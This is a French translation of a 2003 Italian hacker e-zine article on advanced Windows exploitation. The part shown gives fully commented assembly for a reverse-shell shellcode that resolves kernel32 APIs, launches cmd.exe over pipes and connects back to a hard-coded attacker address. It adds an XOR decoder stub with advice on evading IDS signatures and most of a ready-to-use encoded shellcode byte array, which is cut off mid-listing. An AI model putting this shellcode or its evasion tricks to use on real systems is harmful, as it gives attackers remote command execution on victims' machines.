-[ BFi - version française ]--------------------------------------------------
        BFi est une e-zine écritte par la communauté hacker italienne.
        Les codes sources complets et la version originale en italien sont
        disponible içi:
                http://bfi.freaknet.org/dev/BFi12-dev-04
                http://www.s0ftpj.org/bfi/dev/BFi12-dev-04
        Version française traduite par tleil4X <tleil4x@tiscali.it>
------------------------------------------------------------------------------



==============================================================================
-------------------[ BFi12-dev - fichier 04 - 24/03/2003 ]--------------------
==============================================================================


-[ DiSCLAiMER ]---------------------------------------------------------------
        Tout le matériel contenu dans BFi a but esclusivement informatif et
        éducatif. Les auteurs de BFi ne se chargent d'aucune responsabilité
        pour des éventuel dommages à choses ainsi que à personnes, dus à
        l'emploi de code, programmes, informations, techniques contenus dans
        la revue.
        BFi est un libre et autonome moyen d'éxpression; comme nous auteurs
        nous sommes libres d'écrire BFi, tu est libre de continuer dans ta
        lecture ou alors de t'arreter içi. Par conséquent, si tu te sens
        outragé par les thèmes traités et/ou par la façon dont ils sont
        traités, * interrompt immédiatement ta lecture et éfface ces fichiers
        de ton ordinateur *.
        En continuant, toi lecteur, tu te prends toute la responsabilité de
        l'emploi que tu feras des indications contenus dans BFi.
        Il est interdit de publier BFi sur les newsgroup et la diffusion de
        *parties* de la revue: vous pouvez distribuer BFi tout entier et dans
        ça forme originale.
------------------------------------------------------------------------------



-[ HACKiNG ]------------------------------------------------------------------
---[ ADVANCED WiND0WS EXPL0iTiNG
-----[ NaGa <crwm@freemail.it>
       KiodOpz <max.chiodo@libero.it>



///////////////////////////////////////////////////////////////////////////
//                     ADVANCED WINDOWS EXPLOITING                       //
//                                 by                                    //
//                            NaGA & KiodOpz                             //
///////////////////////////////////////////////////////////////////////////



////////////////
// DISCLAIMER //
////////////////

Ceci ne veut être ni une collection d'exploits ni de techniques d'attaque pour
Windows. Ce que nous allons décrire est seulement un ensemble de techniques et
de concepts qui peuvent se rendre utiles dans le cas où nous essayons
d'exploiter une vulnerabilité de Windows.
Le code et les techniques contenus (à part où indiqué) ont été écrits et pensés
par nous. Toutes les techniques ont été testées sur des systémes de NOTRE
PROPRIETE et jamais pour endommager quelqu'un. Evidemment, si vous deciderez
de les utiliser vous aussis, vous le ferez à vos risques et périls.



//////////////////////////
//  INDEX DES CONTENUS  //
//////////////////////////

0. Intro
1. Reverse-shell shellcode pour Windows IA386
2. JMP ESP Trick
3. Unicode Shellcode Converter (n0stack)
4. Introduction aux privilèges et au controle des accès
5. Shellcode Privilege Escalation
6. Encore sur l'escalation des privilèges
7. C'est autant convenable être LOCAL_SYSTEM? (Logon Sessions)
8. DLL Injection
9. Conclusions et remerciements



///////////////
// 0- INTRO  //
///////////////

La nécessité aiguise l'ingéniosité.
Qui fait de sois fait pour trois.



///////////////////////////////////////////////////
// 1- REVERSE-SHELL SHELLCODE POUR WINDOWS IA386 //
///////////////////////////////////////////////////

Une des choses plus importantes à se rappeler quand nous écrivont un shellcode
pour Windows est que pour ce sympatique système opératif les filedescriptors
et les descripteurs des sockets ne sont pas des objets interchangeables.
Qu'est ce que ça veut dire tout cela? Trés simple. Pour permettre à l'attaquant
d'intéragir de loin avec la shell, un shellcode pour linux standard aurait
ouvert une sockect, il aurait passé le descripteur de la socket à son propre
standard input, standard error et standard output, et il aurait en suite
exécuter /bin/bash . A présent la shell aurait fait toutes les opérations de
I/O avec l'usager à travers la socket ouverte.
Sur Windows un'opération du genre échoura misérablement.
Oui parce que les fonctions que cmd.exe (l'interprète des commandes) utilise
pour lire et écrire sur stdin et stdout échouent si les descriptor en question
repprésentes des socket.
Pour détourner ce problème il faut utiliser la même technique que celle de la
version pour Windows de netcat. En quelques mots il faut que notre shellcode
ouvre la socket, exécute cmd.exe en envoyant stdin et stdout sur des pipe qu'il
a creé et reste en écoute, comme un "proxy". Toutes les données reçues sur la
socket devronts étre envoyées sur la pipe et vice versa.

Et içi arrive le deuxième problème. D'abitude les shellcode n'utilisent pas les
syscall, mais appèle directement les interrupt du système opératif pour garder
un élevé niveau de relocabilité. Pour utiliser les appels du système il est
nécessaire en connaitre leurs positions en memoire et il faut aussi que les
libraries dans lequelles se trouve soit linkees (de façon dynamique ou
statique) à l'executable que nous allons exploiter.
Vu que notre shellcode devra gerer beaucoup d'operations, certaines même
complexes, nous aurons besoin de nous appuyer aux API de Windows.
Ainsi nous aurons la possibilité de developper les operations plus complexes
sans devoir nous perdre dans les internals du système operatif.
D'autre part nous devrons trouver une façon pour ne pas perdre la relocabilite
du code, elément fondamental pour un shellcode. Nous aurons donc besoin
d'implementer une espèce de fonction qui relocate de facon dynamique, et qui
resous touts les simboles que nous avons besoin dans notre code, et qui utilise
le moins possible d'adresses "hard-coded".
Nous allons voir rapidement comment cet "objet mystérieux" devra fonctionner
(pour les détails allez voir les commentaires du code reporté plus loin).

La fonction clef pour cette procédure est GetProcAddress de la librairie
kernel32.dll . GetProcAddress permet d'obtenir l'adresse de n'importe quelle
fonction: elle demande en input l'handle de la librairie qui contient la
fonction et le nom de la fonction même.
Le problème de la "relocation dynamique" se reduit donc à la recherche de
l'adresse de la fonction GetProcAddress.
Nous donnont pour acqui que le code que nous allons exploiter ait un link a
kernel32.dll (sauf quelques cas très rares, tous les executables ont ce link).
La librairie kernel32 sera mapped sur une zone de mémoire de notre processus à
une adresse toujour plus ou moin pareille. Cet adresse est choisi par le
paramètre "ImageBase" de la librairie et elle peut changer, de pas beaucoup,
selon la version.
Notre shellcode devra avant tout "trouver" kernel32 dans la mémoire.
Nous sommes aider dans cette opération par les premiers byte communs a toutes
les librairies (MZ, l'incipit de l'header des vieux programmes DOS). Une fois
que nous avons trouver en memoire l'header de kernel32 nous allons examiner
sa section "Export" pour obtenir l'adresse de la fonction GetProcAddress.
Obtenu cette adresse il nous sera simple relocater tous les autres symboles.
Si nous voulions utiliser des fonctions qui se trouvent a l'interieur de
différentes librairies (par example WinSock) nous pourrions utiliser la
fonction LoadLibrary de kernel32 pour ouvrir la librairie (ou bien en prendre
l'handle dans le cas ou elle soit déjà chargée); et puis à nouveau
GetProcAddress .

Enfin, içi arrive le troisième et dernier probléme. Comme peut-etre vous le
savez, le plus grand ennemi des shellcode est le caractère \x00 . Une opération
comme celle que nous avons à peine décrit demande beaucoup de zeros parmi les
opcode et comme terminateurs des morceaus de texte envoyés a GetProcAddress .
Pour éviter ce problème nous pouvons agir en suivant deux métodes différentes.
Ou nous construisons notre shellcode en evitant les \x00 et nous préparons les
morceaux pour GetProcAddress à runtime (en mémoire ou dans le stack, comme ils
font certains worms) ou alors nous choisissons la métode de la "XOR-patch".
Dans cet article nous allons examiner cette deuxième possibilité (qui est aussi
la plus simple à utiliser).

En peut de mots nous fesons le XOR de tout notre shellcode avec un byte qui ne
soit pas déjà contenu dans le code (sinon nous allons créer d'autres \x00 !!!)
et au debut de notre shellcode nous y mettons une simple routine qui, au moment
d'exécution, "decrypte" le code, en fesant à nouveau un XOR avec le même byte
utilisé auparavant. Evidemment, la routine de decrypt ne devra pas contenir le
caractere \x00 (plus tard on en verra une).

Nous pouvont allor passer tout de suite au code commenté que j'espère il puisse
enclairer tous vos doubtes.

<-| awex/reverse_shell.s |->
 ;***********************************************************************
 ;* Ce shellcode exécute l'interprète des commandes cmd.exe et contacte *
 ;* en arrière l'attaquant à une adresse et une porte specifiées à      *
 ;* l'intérieur (hard-coded).                                           *
 ;* Le code est une version modifié et amelioré du shellcode original   *
 ;* écrit par RFP                                                       *
 ;***********************************************************************


 ;*****************************************************************************
 ; Nous commencons par chercher dans la mémoire l`adresse de l`header de
 ; kernel32.dll.
 ; Vu que cette adresse peut changer, nous partons par 0x77F00000 et nous
 ; allons en arriére à la recherche des 4 byte avec lequels tous les header
 ; commencent.

                   mov         eax,77F00000h
Label1:
                   cmp         dword ptr [eax],905A4Dh ; il voit ci c'est
						       ; un header MZ
	           je          Label2
	           dec         eax		; il scanne en arrière
						; la mémoire
	           jmp         Label1

 ;*****************************************************************************
 ; Trouvé l'adresse base de kernel32, nous récupérons l'adresse de la partie
 ; des données de notre shellcode. Dans la partie des données ils sont contenus
 ; les noms des fonctions et des librairies que nous allons utiliser en suite.
 ; La fonction de résolution utilisera la même partie des données pour
 ; mémoriser l'adresse des symboles une fois qu'ils soient resolus.

Label2:
	           call        Find_Me		; Récupère le pointeur
Find_Me:
	           pop         ebp              ; à l'instruction successive.
	           mov         edx,ebp          ; Avec ce pointeur
	           sub         edx, 0fffffe11h	; il calcole l'adresse initiale
                                                ; de la partie des données du
						; code

 ;*****************************************************************************
 ; Nous allons à présent éxaminer l'header de kernel32 pour en trouver la
 ; section des Export .
 ; Toutes les adresses obtenus sont RVA , donc il va falloir toujour sommer
 ; l'ImageBase trouver auparavant.

	           mov         ebx,eax
	           mov         esi,dword ptr [ebx+3Ch] ; pointeur à l'header
						       ; NewExe (PE)
	           add         esi,ebx
	           mov         esi,dword ptr [esi+78h] ; pointeur dans l'header
						       ; PE à la ExportTable
	           add         esi,ebx

 ;*****************************************************************************
 ; Chaque fonction de librairie peut étre exportée avec le nom ou seulement
 ; avec l'ordinal.
 ; La fonction GetProcAddress est exporter grace au le nom.
 ; La section de export a plusieurs tableaux. Celles qui nous intéressent sont
 ; l'index des noms e l'index des pointeurs à fonction. L'index des noms a
 ; génerallement un ordre alphabétique, différent donc de celui du tableau des
 ; pointeurs à fonction.
 ; En outre le tableau des pointeurs à fonction contient aussi des lignes pour
 ; les fonctions exportées par ordinal (donc pas présentes dans la liste des
 ; noms). Pour linker les deux listes il-y-a un troisième tableau (entries de
 ; 2 byte) qui fais correspondre à chaque élément de la liste des noms un
 ; élément de la liste des pointeurs à fonction.
 ; Pour obtenir le pointeur à GetProcAddress il va donc falloir lire la liste
 ; des noms et trouver l'index de la fonction qui nous intéresse. Obtenu cet
 ; index nous allons pouvoir lire la liste des "link" pour trouver l'index de
 ; GetProcAddress à l'interieur de la liste des pointeurs à fonction.
 ; Finallement, en lisant cette dernière liste nous obtenons l'adresse le la
 ; fonction que nous cherchions.
 ; Pour plus de détails sur comment est structuré la section de export allez
 ; voir le très bon tutorial http://203.157.250.93/win32asm/pe-tut7.html

	           mov         edi,dword ptr [esi+20h] ; Adresse du tableau
						       ; des noms exportés
	           add         edi,ebx

	           xor         ebp,ebp		; ebp sera utilisé comme
						; index dans le tableau
	           push        esi

Label4:
	           push        edi
	           mov         edi,dword ptr [edi] ; Offset du pointeur au
					           ; premier symbole
	           add         edi,ebx
	           mov         esi,edx		; pointeur à notre zone de
						; données qui contient le texte
						; "GetProcAddress"
	           mov         ecx,0Eh		; la comparazione
						; Longueur du morceau de texte
						; pour la comparaison
	           repe cmps   byte ptr [esi],byte ptr [edi] ; ça verifie que
							     ; se soit le
							     ; symbole
							     ; "GetProcAddress"
	           je          Label3		; Si ça correspond nous
						; pouvont continuer sinon
	           pop         edi		; nous allons au pointeur au
						; deuxième symbole exporté
	           add         edi,4
	           inc         ebp		; incrementation de l'index
	           loop        Label4   	; et continuation de la
						; recherche.

Label3:
	           pop         edi
	           pop         esi
	           mov         ecx,ebp		; Index de GetProcAddress
						; dans le tableau des noms
	           mov         eax,dword ptr [esi+24h] ; Offset du tableau
						       ; des "link" des
						       ; ordinaux
	           add         eax,ebx
	           shl         ecx,1		; Chaque ligne du tableau de
						; "link" est 2 byte
	           add         eax,ecx
	           xor         ecx,ecx
	           mov         cx,word ptr [eax] ; Index de GetProcAddress
						 ; dans la liste des pointeurs
						 ; à function
	           mov         eax,dword ptr [esi+1Ch] ; Adresse tableau des
						       ; pointeur à fonction
	           add         eax,ebx
	           shl         ecx,2		; Chaque ligne est 4 byte (ce
						; sont des pointeurs!)
	           add         eax,ecx
	           mov         eax,dword ptr [eax]
	           add         eax,ebx		; pointeur à GetProcAddress
						; (!!!)

 ;*****************************************************************************
 ; Nous utilisons la fonction RelocFunc pour résoudre le symboles de kernel32
 ; qui restent; nous les utiliserons en suite. La fonction RelocFunc est
 ; définie après.

	           mov         esi,edx		; pointeur à notre zone de
						; données
	           mov         edi,esi
	           mov         edx,eax		; Adresse de GetProcAddress
	           mov         ecx,0Bh          ; Nombre de symboles à résoudre
	           call        RelocFunc	; Fonction de résolution

 ;*****************************************************************************
 ; A présent RelocFunc aura résolue tous les symboles de kernel32 qui nous
 ; servirons et elle aura mit les adresses dans la partie données, selon le
 ; même ordre avec lequel nous avons inséré les textes.
 ; Nous allons donc utiliser edi pour adresser notre partie données et des call
 ; indrectes pour rappeler les fonctions de librairie.
 ;
 ; Quand RelocFunc sera finie, esi pointera au dernier symbole resolu.
 ; Il va donc falloir "sauter" ce morceau de texte pour arriver dans la part
 ; des données au nom de la deuxième librairie que nous voulons utiliser
 ; (WSOCK32), suivie part tous les symboles de cette librairie que nous devrons
 ; résoudre.

Label5:
	           xor         eax,eax	       ; Déplace esi au début de
					       ; WSOCK32
	           lods        byte ptr [esi]
	           test        eax,eax
	           jne         Label5

	           push        edx
	           push        esi
	           call        dword ptr [edi-2Ch] ; LoadLibrary("WSOCK32")
	           pop         edx

	           mov         ebx,eax
	           mov         ecx,6		; Nombre de symboles à résoudre
	           call        RelocFunc	; Résou les symboles de WSOCK32

 ;*****************************************************************************
 ; Nous avons à présent chargé e resolu tous les symboles nécessaire.
 ; Nous pouvont ainsi passer à la creation des pipe que nous utiliserons pour
 ; faire comuniquer notre shellcode avec l'interprète des commandes (cmd.exe)

	 ; Définissons une structure Security_Attributes nécessaire à la
	 ; creation de la pipe.
	 ; Nous établissons le deuxième champ à zéro (lpSecurityDesciptor), ce
	 ; qui equivaut à assigner à la pipe le DefaultSecurityDescriptor du
	 ; processus qui l'a appelé. Ce descripteur de default garantira
         ; l'accés à la pipe de la part de toutes les entités qui aient le même
         ; Access Token du processus qui a creé la cette pipe. Si, comme nous
         ; allons voir, nous aurons besoin de faire accéder à la pipe même des
	 ; processus qui marchedans un Security Context différent de celui qui
	 ; l'a créé, il nous faudra specifier içi une custom DACL pour concéder
	 ; les droits d'accés désirer.

	   ; PIPE1 (edi pointe à l'intérieur de notre zone des données)
           mov         dword ptr [edi+64h],0Ch	; Longueur structure
           mov         dword ptr [edi+68h],0 	; lpSecurityDescriptor
           mov         dword ptr [edi+6Ch],1 	; InheritHandle (nous voulons
						; que ce descripteur soit
						; hérité aussi par les proc
						; fils)
           push        0
           lea         eax,[edi+64h]		; Pointeur à la structure
						; SecurityAttributes créé
           push        eax
           lea         eax,[edi+10h] 		; Nous utilisons edi+10 et
						; edi+14 pour garder le
	   push        eax                     	; read_handle et le
						; write_handle que la
						; fonction CreatePipe
           lea         eax,[edi+14h] 		; nous retournera
           push        eax
           call        dword ptr [edi-40h]	; CreatePipe(&read_handle,
						; &write_handle,
						; lpSecurityDescriptor, size=0)

           ; PIPE2
           push        0
           lea         eax,[edi+64h]
           push        eax
           lea         eax,[edi+18h]
           push        eax
           lea         eax,[edi+1Ch]
           push        eax
           call        dword ptr [edi-40h] 	; CreatePipe

 ;*****************************************************************************
 ; Maintenant nous allons s'occuper d'éxecuter cmd.exe . Pour faire ça nous
 ; nous servons de la fonction CreateProcess.
 ; CreateProcess a besoin, entre autres paramètres, d'une structure
 ; StartUpInfo. Cette structure permet, entre autre, de spécifier les handle
 ; que le nouveau processus utilisera comme stdin, stdout et stderr.
 ; Pour établir de façon automatique tous les autres paramètres qui nous
 ; intéressent pas, nous utiliserons la fonction GetStratUpInfo pour récupérer
 ; la structure StartUpInfo du processus qui l'appèle.
 ; Après avoir modifié les handle que cmd.exe devra utiliser (nos deux pipe),
 ; nous prendrons cette structure comme un paramètre de CreateProcess.

           mov         dword ptr [edi+20h],44h
           lea         eax,[edi+20h]
           push        eax
           call        dword ptr [edi-3Ch]	; GetStartUpInfo(lpStartUpInfo)

           mov         eax,dword ptr [edi+10h]	; specifit le write_handle de
						; PIPE1
           mov         dword ptr [edi+5Ch],eax 	; comme stdout et stderr
           mov         dword ptr [edi+60h],eax
           mov         eax,dword ptr [edi+1Ch]	; et le read_handle de PIPE2
						; comme stdin .
           mov         dword ptr [edi+58h],eax
           or          dword ptr [edi+4Ch],101h	; Il specifit que les champs de
						; la structure de rédirection
           mov         word ptr [edi+50h],0 	; des handle sont valide.

           lea         eax,[edi+70h] 		; CreateProcess nous retournera
						; une structure
           push        eax			; Process_Information que nous
						; sauverons dans une zone de la
						; partie des données inutilisée

           lea         eax,[edi+20h]		; pointeur à la structure
						; StartUpInfo
           push        eax			; définit auparavant.
           xor         eax,eax
           push        eax			; Quelques paramètres qui nous
						; interessent pas...
           push        eax
           push        eax
           push        1			; hInheritHandles (nous
						; specifions que le processus
						; fils héritera les
						; descripteurs ouverts)
           push        eax
           push        eax
           call        Label6 			; Nous récupérons l'adresse au
						; texte cmd.exe
Label6:						; contenue dans notre partie
						; des données
           pop         ebp
           sub         ebp,0FFFFFE3Ch
           push        ebp			; lpCommandLine (cmd.exe)
           push        eax
           call        dword ptr [edi-38h]	; CreateProcess (NULL,
						; "cmd.exe",.....)

	; Nous fermons les handle des pipe que le processus père n'utilisera
	; pas

           push        dword ptr [edi+10h]
           call        dword ptr [edi-1Ch]	; CloseHandle
						; (write_handle_PIPE1)

           push        dword ptr [edi+1Ch]
           call        dword ptr [edi-1Ch]	; CloseHandle
						; (read_handle_PIPE2)

 ;*****************************************************************************
 ; Nous allons allouer une zone de mémoire (400 byte) pour l'utiliser comme
 ; buffer de lecture et nous initialisons les socket

           push        400h 			; Dimention
           push        40h 			; La mémoire est initialisée
	   					; à zero
           call        dword ptr [edi-30h]	; GlobalAlloc (Attribute=0x40,
						; Size=0x400)

           mov         ebp,eax
           push        eax 			; Nous utilisons la zone de
						; mémoire juste allouer pour
           push        101h			; sauver les informations que
						; nous retournera WSAStartUp

           call        dword ptr [edi-18h]	; WSAStartUp (Version=101,
						; lpWSAData)
           test        eax,eax
           jne         Exit_Proc		; Si il failli il sort du
	   					; processus

 ;*****************************************************************************
 ; C'est le moment de créer la socket et de faire la connect vers l'adresse et
 ; la porte hard-coded

           xor         eax,eax
           push        eax
           inc         eax
           push        eax 			; SOCK_STREAM
           inc         eax
           push        eax 			; AF_INET
           call        dword ptr [edi-14h]	; socket(2,1,0)
           cmp         eax,0FFh
           je          Exit_Proc		; Si il failli il sort
           mov         ebx,eax			; Déplace l'handle de la
						; socket en ebx

           mov         word ptr [edi],2 	; Nous construisons, toujour
	   					; dans notre zone des données,
						; une structure sockaddr
						; nécessaire pour la connect
           mov         word ptr [edi+2], 0BBBBh	; Porte destination Hard-Coded
           mov         dword ptr [edi+4], 0AAAAAAAAh  ; Adresse de destination
						      ; Hard-Coded
           push        10h 			; Longueur structure
           lea         eax,[edi]
           push        eax
           push        ebx
           call        dword ptr [edi-0Ch]	; connect(socket,
						; sockaddr = edi, len = 16
						; bytes)

 ;*****************************************************************************
 ; Nous començons un cycle infinit dans lequel nous fesons "polling" sur la
 ; socket et sur les pipe. Toutes les données reçues de la socket seront
 ; écrites sur la pipe et viçeversa.

Poll_Loop:
            push        32h			; Petite temporisation de 50
						; millisecondes
           call        dword ptr [edi-24h]	; sleep(50)

           xor         ecx,ecx 			; Nous établissons à zéro tous
						; les paramètres de la fonction
           push        ecx 			; qui nous intéressent pas.
           push        esi			; Nous utilisons PeekNamedPipe
						; pour voir si ils y sont des
           push        ecx			; byte à lire sur la PIPE1.
           push        ecx 			; Le nombre de byte sera
						; sauvegardé dans le lieu
           push        ecx			; pointé par esi (dans notre
						; partie de données)
           push        dword ptr [edi+14h]
           call        dword ptr [edi-34h]	; PeekNamedPipe
						; (read_handle_PIPE1, ...)

           test        eax,eax			; Si il failli il ferme la
	   je          Close_and_Exit		; socket et il sort

           nop					; Nous utilisons les nop pour
           nop 					; implémenter une rudimentale
           nop					; temporisation
           nop
           cmp         byte ptr [esi],0		; Si il n'y a pas de byte à
						; lire sur la pipe, il fait
           je          Label7			; le polling de la socket
           nop
           nop
           nop
           nop

	   ; ça lit les données qui sont disponible sur la pipe
           push        0 			; Nous nous servons pas de
	   					; overlap
           push        esi 			; Pointeur aux byte lus
           push        400h 			; Numéro max byte à lire
           push        ebp 			; buffer alloué avec
						; GlobalAlloc
           push        dword ptr [edi+14h] 	; handle de la pipe
           call        dword ptr [edi-28h]	; ReadFile(read_handle_PIPE1,
						; buffer, len=400, ...)
           test        eax,eax
           je          Close_and_Exit		; Si ça ne marche pas il ferme
						; le socket et il sort

           nop
           nop
           nop
           nop

	   ; ça envoi les données lues sur la socket
           push        0
           push        dword ptr [esi] 		; ReadFile avait sauvegardé
						; dans le lieu pointé par esi
						; le nombre de byte lu sur la
						; pipe qui seront notre "len".
           push        ebp			; Buffer contenant les données
						; lues.
           push        ebx			; Handle de la socket
           call        dword ptr [edi-8]	; send (socket, buffer, len, 0)
           cmp         eax,0FFh
           je          Close_and_Exit		; Si ça ne marche pas il ferme
						; le socket et il sort

           nop
           nop
           nop
           nop
           jmp         Poll_Loop		; Il recommence le cycle de
						; Polling

Label7:
	   ; ça lit les données de la socket (si il y en a)
           push        0
           push        400h 			; Nombre byte
           push        ebp 			; Pointeur buffer
           push        ebx 			; Handle socket
           call        dword ptr [edi-4]	; recv(socket, buffer, 400,...)
           test        eax,eax
           jl          Close_and_Exit		; Si ça ne marche pas il ferme
						; le socket et il sort

           nop
           nop
           nop
           nop

           je          Poll_Loop		; Si il n'y a pas de byte à
						; lire il recommence le cycle
						; de Polling

	   ; si il a lu des données sur la socket il les envoi sur la pipe
           push        0
           push        esi
           push        eax 			; Nombre de byte à écrire
           push        ebp 			; Pointeur au buffer
           push        dword ptr [edi+18h] 	; Write_handle_PIPE2
           call        dword ptr [edi-2Ch]	; WriteFile(write_handle_PIPE2,
						; buffer, len, ...)

           push        32h
           call        dword ptr [edi-24h]	; sleep(50)
           jmp         Poll_Loop		; Recommence le cycle de
						; Polling


 Close_and_Exit:
           push        ebx
           call        dword ptr [edi-10h]	; CloseSocket (socket)

 Exit_Proc:
           push        0
           call        dword ptr [edi-20h]	; ExitProcess (0)
 						; Parfois ça peut étre plus
						; comode utiliser
						; ExitThread. Aller voir
						; l'explication sur la zone
						; des données pour plus
						; d'informations

 ;*****************************************************************************
 ; RelocFunc
 ;
 ; Il résou avec GetProcAddress les symboles à importer et il les sauvegarde
 ; dans la zone données
 ;
 ; ARGS: edx = adresse de GetProcAddress
 ;       esi = pointeur aux textes qu'il faut résoudre
 ;       edi = pointeur à la zone ou seront sauvegardés les adresses
 ;       ecx = nombre des symboles à résoudre
 ;       ebx = BaseAddress de la librairie de laquelle nous voulons résoudre
 ;             les symboles
 ;
 ; La première fois que cette fonction est appelée, esi sera égal à edi.
 ; Les adresses résolus, en effect, seront sauvegardées en reécrivant dessus
 ; les noms des symboles.
 ; Heureusement tous les noms des fonctions seront plus long de 4 byte
 ; (taille de l'adresse), et donc RelocFunc reécrira seulement les noms de
 ; symboles déjà alloués.

RelocFunc:

           xor         eax,eax 			; ça cherche le premier symbole
						; à resoudre
           lods        byte ptr [esi]           ; (la première fois il saute
						; GetProcAddress qui a déjà été
           test        eax,eax 			; résolu, la deuxième fois
						; il saute WSOCK32)
           jne         RelocFunc

           push        ecx 			; Les registres nécessaire sont
           push        edx			; sauvegardés

           push        esi 			; Pointeur au symbole à
						; résoudre
           push        ebx 			; BaseAddress de la librairie
           call        edx 			; GetProcAddress(library,
						; symbol)

           pop         edx
           pop         ecx

           stos        dword ptr [edi] 		; Sauvegarde l'adresse obtenue
           loop        RelocFunc		; Realloue le symbole succéssif
           ret
<-X->

A la fin du shellcode il devra y étre notre zone des données.
Cette zone devra contenir en ordre:

- Le nom de toutes les fonctions de kernel32 que nous utiliserons.
- Le mom de l'ultérieure librairie que nous voulons utiliser (WSOCK32).
- Les noms de toutes les fonctions de WSOCK32 que nous utiliserons.
- Le nom de la commande à lancer (cmd.exe).

et devrait apparaitre plus ou moin comme ça:

   47 65 74 50 72 6F 63 41 64 64 72   GetProcAddr
   65 73 73 00 4C 6F 61 64 4C 69 62   ess.LoadLib
   72 61 72 79 41 00 43 72 65 61 74   raryA.Creat
   65 50 69 70 65 00 47 65 74 53 74   ePipe.GetSt
   61 72 74 75 70 49 6E 66 6F 41 00   artupInfoA.
   43 72 65 61 74 65 50 72 6F 63 65   CreateProce
   73 73 41 00 50 65 65 6B 4E 61 6D   ssA.PeekNam
   65 64 50 69 70 65 00 47 6C 6F 62   edPipe.Glob
   61 6C 41 6C 6C 6F 63 00 57 72 69   alAlloc.Wri
   74 65 46 69 6C 65 00 52 65 61 64   teFile.Read
   46 69 6C 65 00 53 6C 65 65 70 00   File.Sleep.
   45 78 69 74 50 72 6F 63 65 73 73   ExitProcess
   00 43 6C 6F 73 65 48 61 6E 64 6C   .CloseHandl
   65 00 57 53 4F 43 4B 33 32 00 57   e.WSOCK32.W
   53 41 53 74 61 72 74 75 70 00 73   SAStartup.s
   6F 63 6B 65 74 00 63 6C 6F 73 65   ocket.close
   73 6F 63 6B 65 74 00 63 6F 6E 6E   socket.conn
   65 63 74 00 73 65 6E 64 00 72 65   ect.send.re
   63 76 00 63 6D 64 2E 65 78 65 00   cv.cmd.exe.

N.B.
 Quand le shellcode sort il appèle la fonction ExitProcess.
 Si le programme que nous exploitions est multithread il ce peut qu'il
 soit plus convenable utiliser la ExitThread tandis que la ExitProcess.
 De cette façon seulement le thread exploité sortira, et pas le processus
 entier, qui pourra continuer normalement son exécution (dans la plupart
 des cas).
 Pour utiliser ExitThread à la place de ExitProcess il suffit de changer
 le nom de la fonction dans la zone des données; les paramètres des deux
 fonctions sont les mêmes. Mais la longueur des deux noms de fonction est
 différente, e donc il faut ajouter un byte nul avant "cmd.exe" pour
 laisser ce morceau au même offset de la partie du code qui l'utilise
 (CreateProcess).
 Tout le reste peut étre laisser comme ça comme il est.
 A la fonction de résolution des symboles, en effect, ça ne lui intéresse
 pas où commence les différents morceaux de texte, mais seulement leurs
 ordres.

Comme nous avons auparavant dit, une fois que le shellcode est assemblé, il
faut tout le XORer (partie des données comprise) avec un byte pas contenu à
l'intérieur, pour éliminer les \x00 .
En tête au code XORé il faudra y insérer une petite routine qui le déchiffre
à run-time.
En voiçi une qui ne contient aucun \x00 et qui utilise \x12 (pas présent
dans le code) comme masque pour le XOR:

<-| awex/XOR_patch.s |->
	    jmp		Xor_Label1
Xor_Label3:
	    pop		eax
	    jmp		Xor_Label2
Xor_Label1:
	    call	Xor_Label3
Xor_Label2:
	    add		eax, 0fh		; Longueur de la xor
						; patch
	    xor		ecx, ecx
	    mov		cx, 2d5h		; Longueur du shellcode à
						; déchifrer
Xor_Label4:
	    xor		byte ptr [eax], 12h	; Byte que nous avons choisi
						; pour le xor
	    inc		eax
	    loop	Xor_Label4
<-X->

N.B.
 Quelques IDS peuvent faire pattern matching à la recherche d'exploits.
 Vu que le reste du shellcode peut être offusqué à plaisir, en changant
 le byte du XOR, la seule partie du shellcode qui pourrait étre facilement
 identifiée est justement la XOR patch.
 C'est inutile dire que cette partie là peut étre elle aussi rendu plus
 "stealth", en ajoutant des nop ou des instructions qui ne font rien.

Après avoir XORé le code et ajouter au début la routine de décryptation,
le tout devrait apparaitre comme ça:

<-| awex/shellcode.c |->
unsigned char shellc[] =
"\xEB\x03\x58\xEB\x05\xE8\xF8\xFF\xFF\xFF\x83\xC0\x0F\x33\xC9\x66\xB9\xD5\x02\x80\x30\x12\x40\xE2\xFA"
"\xAA\x12\x12\xE2\x65\x93\x2A\x5F\x48\x82\x12\x66\x11\x5A\xF9\xE7\xFA\x12\x12\x12\x12\x4F\x99\xC7\x93"
"\xF8\x03\xEC\xED\xED\x99\xCA\x99\x61\x2E\x11\xE1\x99\x64\x6A\x11\xE1\x99\x6C\x32\x11\xE9\x21\xFF\x44"
"\x45\x99\x2D\x11\xE9\x99\xE0\xAB\x1C\x12\x12\x12\xE1\xB4\x66\x15\x4D\x91\xD5\x16\x57\xF0\xFB\x4D\x4C"
"\x99\xDF\x99\x54\x36\x11\xD1\xC3\xF3\x11\xD3\x21\xDB\x74\x99\x1A\x99\x54\x0E\x11\xD1\xD3\xF3\x10\x11"
"\xD3\x99\x12\x11\xD1\x99\xE0\x99\xEC\x99\xC2\xAB\x19\x12\x12\x12\xFA\x6A\x13\x12\x12\x21\xD2\xBE\x97"
"\xD2\x67\xEB\x40\x44\xED\x45\xC6\x48\x99\xCA\xAB\x14\x12\x12\x12\xFA\x4D\x13\x12\x12\xD5\x55\x76\x1E"
"\x12\x12\x12\xD5\x55\x7A\x12\x12\x12\x12\xD5\x55\x7E\x13\x12\x12\x12\x78\x12\x9F\x55\x76\x42\x9F\x55"
"\x02\x42\x9F\x55\x06\x42\xED\x45\xD2\x78\x12\x9F\x55\x76\x42\x9F\x55\x0A\x42\x9F\x55\x0E\x42\xED\x45"
"\xD2\xD5\x55\x32\x56\x12\x12\x12\x9F\x55\x32\x42\xED\x45\xD6\x99\x55\x02\x9B\x55\x4E\x9B\x55\x72\x99"
"\x55\x0E\x9B\x55\x4A\x93\x5D\x5E\x13\x13\x12\x12\x74\xD5\x55\x42\x12\x12\x9F\x55\x62\x42\x9F\x55\x32"
"\x42\x21\xD2\x42\x42\x42\x78\x13\x42\x42\xFA\x12\x12\x12\x12\x4F\x93\xFF\x2E\xEC\xED\xED\x47\x42\xED"
"\x45\xDA\xED\x65\x02\xED\x45\xF6\xED\x65\x0E\xED\x45\xF6\x7A\x12\x16\x12\x12\x78\x52\xED\x45\xC2\x99"
"\xFA\x42\x7A\x13\x13\x12\x12\xED\x45\xFA\x97\xD2\x1D\x97\xBC\x12\x12\x12\x21\xD2\x42\x52\x42\x52\x42"
"\xED\x45\xFE\x2F\xED\x12\x12\x12\x1D\x96\x8B\x12\x12\x12\x99\xCA\x74\xD5\x15\x10\x12\x74\xD5\x55\x10"
